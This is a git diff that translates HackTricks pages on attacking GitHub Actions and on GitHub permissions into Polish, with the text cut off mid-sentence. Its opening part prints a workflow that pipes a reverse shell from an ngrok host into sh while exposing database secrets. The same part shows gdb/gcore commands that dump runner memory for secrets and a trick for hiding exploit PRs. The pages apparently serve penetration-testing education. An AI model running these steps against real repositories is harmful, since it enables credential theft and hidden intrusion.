-Get reverse shell with secrets - +Uzyskaj powłokę odwrotną z sekretami ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - - ```bash - cat /home/runner/work/_temp/* - ``` -- For a JavaScript actions the secrets and sent through environment variables - - ```bash - ps axe | grep node - ``` -- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: +- Jeśli sekret jest używany **bezpośrednio w wyrażeniu**, wygenerowany skrypt powłoki jest przechowywany **na dysku** i jest dostępny. +- ```bash +cat /home/runner/work/_temp/* +``` +- W przypadku akcji JavaScript sekrety są przesyłane przez zmienne środowiskowe. +- ```bash +ps axe | grep node +``` +- W przypadku **niestandardowej akcji** ryzyko może się różnić w zależności od tego, jak program używa uzyskanego sekretu z **argumentu**: - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +```yaml +uses: fakeaction/publish@v3 +with: +key: ${{ secrets.PUBLISH_KEY }} +``` -### Abusing Self-hosted runners +### Wykorzystywanie samodzielnie hostowanych runnerów -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze nie-Github** jest wyszukiwanie **`runs-on: self-hosted`** w konfiguracji yaml akcji Github. -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. - -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej. +W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie, zrzucając jego pamięć: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` +Sprawdź [**ten post w celu uzyskania więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +### Rejestr obrazów Docker w Github -### Github Docker Images Registry - -It's possible to make Github actions that will **build and store a Docker image inside Github**.\ -An example can be find in the following expandable: +Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker w Github**.\ +Przykład można znaleźć w następującym rozwijanym:
Github Action Build & Push Docker Image - ```yaml [...] - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 +uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.ACTIONS_TOKEN }} +uses: docker/login-action@v1 +with: +registry: ghcr.io +username: ${{ github.repository_owner }} +password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code - run: | - sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile +run: | +sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push - uses: docker/build-push-action@v2 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} +uses: docker/build-push-action@v2 +with: +context: . +push: true +tags: | +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ``` -
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. - -A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: +Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**. +Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą tokena dostępu osobistego: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` - Then, the user could search for **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} -### Sensitive info in Github Actions logs +### Wrażliwe informacje w logach Github Actions -Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich pokazywania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany tajną wartością nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Covering your Tracks +## Zacieranie śladów -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) +(Teknika z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot akcji. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo sprawić, by twoje **konto GitHub zostało zawieszone, albo oznaczyć swoje konto**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR z exploitami). -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swój exploit niewidocznym na githubie. > [!WARNING] -> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +> Jedynym sposobem, aby organizacja dowiedziała się, że została celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostałby usunięty. -## Tools +## Narzędzia -The following tools are useful to find Github Action workflows and even find vulnerable ones: +Następujące narzędzia są przydatne do znajdowania workflow Github Action, a nawet do znajdowania podatnych: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index ae156de2d..7b01f94fd 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1,6 +1 @@ -# Gh Actions - Artifact Poisoning - - - - - +# Gh Actions - Zatrucie Artefaktów diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 024aa5ff8..7965c4158 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1,6 +1 @@ -# GH Actions - Cache Poisoning - - - - - +# GH Actions - Zatrucie pamięci podręcznej diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3cd632bd0..5a94e1e31 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,6 +1 @@ -# Gh Actions - Context Script Injections - - - - - +# Gh Actions - Wstrzykiwanie skryptów kontekstowych diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f19fa699e..1f7aa75f8 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -2,59 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Sposoby dostępu do danych z Github, które rzekomo zostały usunięte, zostały [**zgłoszone w tym wpisie na blogu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). ## Accessing Deleted Fork Data -1. You fork a public repository -2. You commit code to your fork -3. You delete your fork +1. Forkujesz publiczne repozytorium +2. Zatwierdzasz kod do swojego forka +3. Usuwasz swojego forka > [!CAUTION] -> The data commited in the deleted fork is still accessible. +> Dane zatwierdzone w usuniętym forku są nadal dostępne. ## Accessing Deleted Repo Data -1. You have a public repo on GitHub. -2. A user forks your repo. -3. You commit data after they fork it (and they never sync their fork with your updates). -4. You delete the entire repo. +1. Masz publiczne repozytorium na GitHubie. +2. Użytkownik forkował twoje repozytorium. +3. Zatwierdzasz dane po tym, jak oni je forkowali (i nigdy nie synchronizują swojego forka z twoimi aktualizacjami). +4. Usuwasz całe repozytorium. > [!CAUTION] -> Even if you deleted your repo, all the changes made to it are still accessible through the forks. +> Nawet jeśli usunąłeś swoje repozytorium, wszystkie zmiany wprowadzone do niego są nadal dostępne przez forki. ## Accessing Private Repo Data -1. You create a private repo that will eventually be made public. -2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public. -3. You make your “upstream” repository public and keep your fork private. +1. Tworzysz prywatne repozytorium, które ostatecznie stanie się publiczne. +2. Tworzysz prywatną, wewnętrzną wersję tego repozytorium (poprzez forkowanie) i zatwierdzasz dodatkowy kod dla funkcji, które nie zamierzasz udostępniać publicznie. +3. Upubliczniasz swoje repozytorium "upstream" i zachowujesz swój fork jako prywatny. > [!CAUTION] -> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. +> Możliwe jest uzyskanie dostępu do wszystkich danych przesłanych do wewnętrznego forka w czasie między utworzeniem wewnętrznego forka a udostępnieniem publicznej wersji. ## How to discover commits from deleted/hidden forks -The same blog post propose 2 options: +Ten sam wpis na blogu proponuje 2 opcje: ### Directly accessing the commit -If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` +Jeśli znana jest wartość ID zatwierdzenia (sha-1), możliwe jest uzyskanie do niego dostępu pod adresem `https://github.com///commit/` ### Brute-forcing short SHA-1 values -It's the same to access both of these: +Dostęp do obu z nich jest taki sam: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -And the latest one use a short sha-1 that is bruteforceable. +A ten ostatni używa krótkiego sha-1, który można złamać. ## References - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index ae1365a0f..2a28ca317 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,248 +1,242 @@ -# Basic Github Information +# Podstawowe informacje o Githubie {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Podstawowa struktura -The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. +Podstawowa struktura środowiska github w dużej **firmie** to posiadanie **przedsiębiorstwa**, które posiada **kilka organizacji**, a każda z nich może zawierać **kilka repozytoriów** i **kilka zespołów**. Mniejsze firmy mogą posiadać tylko **jedną organizację i żadnych przedsiębiorstw**. -From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. +Z punktu widzenia użytkownika, **użytkownik** może być **członkiem** **różnych przedsiębiorstw i organizacji**. W ramach nich użytkownik może mieć **różne role w przedsiębiorstwie, organizacji i repozytorium**. -Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. +Ponadto, użytkownik może być **częścią różnych zespołów** z różnymi rolami w przedsiębiorstwie, organizacji lub repozytorium. -And finally **repositories may have special protection mechanisms**. +I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**. -## Privileges +## Uprawnienia -### Enterprise Roles +### Role w przedsiębiorstwie -- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository -- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. +- **Właściciel przedsiębiorstwa**: Osoby z tą rolą mogą **zarządzać administratorami, zarządzać organizacjami w ramach przedsiębiorstwa, zarządzać ustawieniami przedsiębiorstwa, egzekwować politykę w organizacjach**. Jednak nie **mogą uzyskać dostępu do ustawień organizacji ani treści**, chyba że zostaną właścicielem organizacji lub otrzymają bezpośredni dostęp do repozytorium należącego do organizacji. +- **Członkowie przedsiębiorstwa**: Członkowie organizacji należących do twojego przedsiębiorstwa są również **automatycznie członkami przedsiębiorstwa**. -### Organization Roles +### Role w organizacji -In an organisation users can have different roles: +W organizacji użytkownicy mogą mieć różne role: -- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. -- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. -- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. -- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. - - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. -- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. -- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. +- **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie do mniej niż dwóch osób w twojej organizacji. +- **Członkowie organizacji**: **Domyślna**, nieadministracyjna rola dla **osób w organizacji** to członek organizacji. Domyślnie, członkowie organizacji **mają szereg uprawnień**. +- **Menedżerowie ds. rozliczeń**: Menedżerowie ds. rozliczeń to użytkownicy, którzy mogą **zarządzać ustawieniami rozliczeń dla twojej organizacji**, takimi jak informacje o płatności. +- **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji. +- Jeśli twoja organizacja ma zespół ds. bezpieczeństwa, możesz użyć roli menedżera ds. bezpieczeństwa, aby dać członkom zespołu minimalny dostęp, którego potrzebują do organizacji. +- **Menedżerowie aplikacji Github**: Aby umożliwić dodatkowym użytkownikom **zarządzanie aplikacjami GitHub należącymi do organizacji**, właściciel może przyznać im uprawnienia menedżera aplikacji GitHub. +- **Zewnętrzni współpracownicy**: Zewnętrzny współpracownik to osoba, która ma **dostęp do jednego lub więcej repozytoriów organizacji, ale nie jest wyraźnie członkiem** organizacji. -You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Możesz **porównać uprawnienia** tych ról w tej tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### Uprawnienia członków -In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**. +W _https://github.com/organizations/\/settings/member_privileges_ możesz zobaczyć **uprawnienia, które użytkownicy będą mieli tylko za bycie częścią organizacji**. -The settings here configured will indicate the following permissions of members of the organisation: +Ustawienia skonfigurowane tutaj wskażą następujące uprawnienia członków organizacji: -- Be admin, writer, reader or no permission over all the organisation repos. -- If members can create private, internal or public repositories. -- If forking of repositories is possible -- If it's possible to invite outside collaborators -- If public or private sites can be published -- The permissions admins has over the repositories -- If members can create new teams +- Bycie administratorem, pisarzem, czytelnikiem lub brakiem uprawnień do wszystkich repozytoriów organizacji. +- Czy członkowie mogą tworzyć prywatne, wewnętrzne lub publiczne repozytoria. +- Czy możliwe jest forkowanie repozytoriów. +- Czy możliwe jest zapraszanie zewnętrznych współpracowników. +- Czy publiczne lub prywatne strony mogą być publikowane. +- Uprawnienia, jakie mają administratorzy do repozytoriów. +- Czy członkowie mogą tworzyć nowe zespoły. -### Repository Roles +### Role w repozytorium -By default repository roles are created: +Domyślnie role w repozytorium są tworzone: -- **Read**: Recommended for **non-code contributors** who want to view or discuss your project -- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access -- **Write**: Recommended for contributors who **actively push to your project** -- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions -- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository +- **Odczyt**: Zalecane dla **współpracowników, którzy chcą przeglądać lub omawiać twój projekt**. +- **Triage**: Zalecane dla **współpracowników, którzy muszą proaktywnie zarządzać problemami i pull requestami** bez dostępu do zapisu. +- **Zapis**: Zalecane dla współpracowników, którzy **aktywnie wprowadzają zmiany do twojego projektu**. +- **Zarządzanie**: Zalecane dla **menedżerów projektów, którzy muszą zarządzać repozytorium** bez dostępu do wrażliwych lub destrukcyjnych działań. +- **Administrator**: Zalecane dla osób, które potrzebują **pełnego dostępu do projektu**, w tym wrażliwych i destrukcyjnych działań, takich jak zarządzanie bezpieczeństwem lub usuwanie repozytorium. -You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Możesz **porównać uprawnienia** każdej roli w tej tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +Możesz również **utworzyć własne role** w _https://github.com/organizations/\/settings/roles_ -### Teams +### Zespoły -You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. +Możesz **wymienić zespoły utworzone w organizacji** w _https://github.com/orgs/\/teams_. Zauważ, że aby zobaczyć zespoły, które są dziećmi innych zespołów, musisz uzyskać dostęp do każdego zespołu nadrzędnego. -### Users +### Użytkownicy -The users of an organization can be **listed** in _https://github.com/orgs/\/people._ +Użytkownicy organizacji mogą być **wymieniani** w _https://github.com/orgs/\/people._ -In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. +W informacji o każdym użytkowniku możesz zobaczyć **zespoły, których członkiem jest użytkownik**, oraz **repozytoria, do których użytkownik ma dostęp**. -## Github Authentication +## Uwierzytelnianie Github -Github offers different ways to authenticate to your account and perform actions on your behalf. +Github oferuje różne sposoby uwierzytelniania do twojego konta i wykonywania działań w twoim imieniu. -### Web Access +### Dostęp przez sieć -Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). +Uzyskując dostęp do **github.com**, możesz zalogować się używając swojego **nazwa użytkownika i hasła** (oraz **potencjalnie 2FA**). -### **SSH Keys** +### **Klucze SSH** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) +Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, pozwalając powiązanemu **kluczowi prywatnemu na wykonywanie działań w twoim imieniu.** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG Keys** +#### **Klucze GPG** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [trybie czujności tutaj](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Personal Access Tokens** +### **Osobiste tokeny dostępu** -You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Możesz wygenerować osobisty token dostępu, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia osobistego tokena dostępu, **użytkownik** musi **określić** **uprawnienia**, które **token** będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth Applications +### Aplikacje Oauth -Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. +Aplikacje Oauth mogą prosić o uprawnienia **do uzyskania dostępu do części twoich informacji github lub do podszywania się pod ciebie** w celu wykonania niektórych działań. Typowym przykładem tej funkcjonalności jest **przycisk logowania z githubem**, który możesz znaleźć na niektórych platformach. -- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) -- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) -- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_ +- Możesz **utworzyć** własne **aplikacje Oauth** w [https://github.com/settings/developers](https://github.com/settings/developers) +- Możesz zobaczyć wszystkie **aplikacje Oauth, które mają dostęp do twojego konta** w [https://github.com/settings/applications](https://github.com/settings/applications) +- Możesz zobaczyć **zakresy, o które mogą prosić aplikacje Oauth** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Możesz zobaczyć dostęp aplikacji stron trzecich w **organizacji** w _https://github.com/organizations/\/settings/oauth_application_policy_ -Some **security recommendations**: +Kilka **zalecenia dotyczące bezpieczeństwa**: -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownika) i mieć dostęp tylko do określonych zakresów. +- Aplikacja OAuth może być używana jako dostawca tożsamości, włączając "Logowanie z GitHub" dla uwierzytelnionego użytkownika. +- **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_ repozytoriach uwierzytelnionego użytkownika**. +- **Nie** buduj aplikacji OAuth, aby działała jako aplikacja dla twojego **zespołu lub firmy**. Aplikacje OAuth uwierzytelniają się jako **pojedynczy użytkownik**, więc jeśli jedna osoba stworzy aplikację OAuth dla firmy do użycia, a następnie opuści firmę, nikt inny nie będzie miał do niej dostępu. +- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Github Applications +### Aplikacje Github -Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. +Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich informacji github lub podszywania się pod ciebie** w celu wykonania określonych działań na określonych zasobach. W aplikacjach Github musisz określić, do jakich repozytoriów aplikacja będzie miała dostęp. -- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. -- The GitHub App should **connect to a personal account or an organisation**. -- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) -- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them -- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_ +- Aby zainstalować aplikację GitHub, musisz być **właścicielem organizacji lub mieć uprawnienia administratora** w repozytorium. +- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**. +- Możesz stworzyć własną aplikację Github w [https://github.com/settings/apps](https://github.com/settings/apps) +- Możesz zobaczyć wszystkie **aplikacje Github, które mają dostęp do twojego konta** w [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Oto **punkty końcowe API dla aplikacji Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień aplikacji, będzie mogła uzyskać dostęp do niektórych z nich. +- Możesz zobaczyć zainstalowane aplikacje w **organizacji** w _https://github.com/organizations/\/settings/installations_ -Some security recommendations: +Kilka zaleceń dotyczących bezpieczeństwa: -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to 